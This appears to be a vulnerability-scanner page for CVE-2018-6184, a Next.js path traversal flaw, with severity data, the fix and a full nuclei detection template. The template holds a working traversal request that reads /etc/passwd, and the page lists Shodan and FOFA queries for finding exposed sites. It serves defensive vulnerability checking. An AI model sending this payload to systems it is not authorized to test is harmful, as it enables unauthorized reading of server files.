Zeit Next.js < 4.2.3 - Local File Inclusion

highseverity

7.5CVSS score

9.1%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Zeit Next.js before 4.2.3 is susceptible to local file inclusion under the /_next request namespace. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.

Fix

Upgrade to the latest version of Zeit Next.js (>=4.2.3) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/_next/../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-6184 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-6184

info:
  name: Zeit Next.js < 4.2.3 - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    Zeit Next.js before 4.2.3 is susceptible to local file inclusion under the /_next request namespace. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Upgrade to the latest version of Zeit Next.js (>=4.2.3) to mitigate this vulnerability.
  reference:
    - https://github.com/PortSwigger/j2ee-scan/blob/master/src/main/java/burp/j2ee/issues/impl/NextFrameworkPathTraversal.java
    - https://github.com/zeit/next.js/releases/tag/4.2.3
    - https://nvd.nist.gov/vuln/detail/CVE-2018-6184
    - https://github.com/lnick2023/nicenice
    - https://github.com/masasron/vulnerability-research
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-6184
    cwe-id: CWE-22
    epss-score: 0.0906
    epss-percentile: 0.95329
    cpe: cpe:2.3:a:zeit:next.js:4.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeit
    product: next.js
    shodan-query:
      - html:"/_next/static"
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve2018,cve,nextjs,lfi,traversal,zeit,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_next/../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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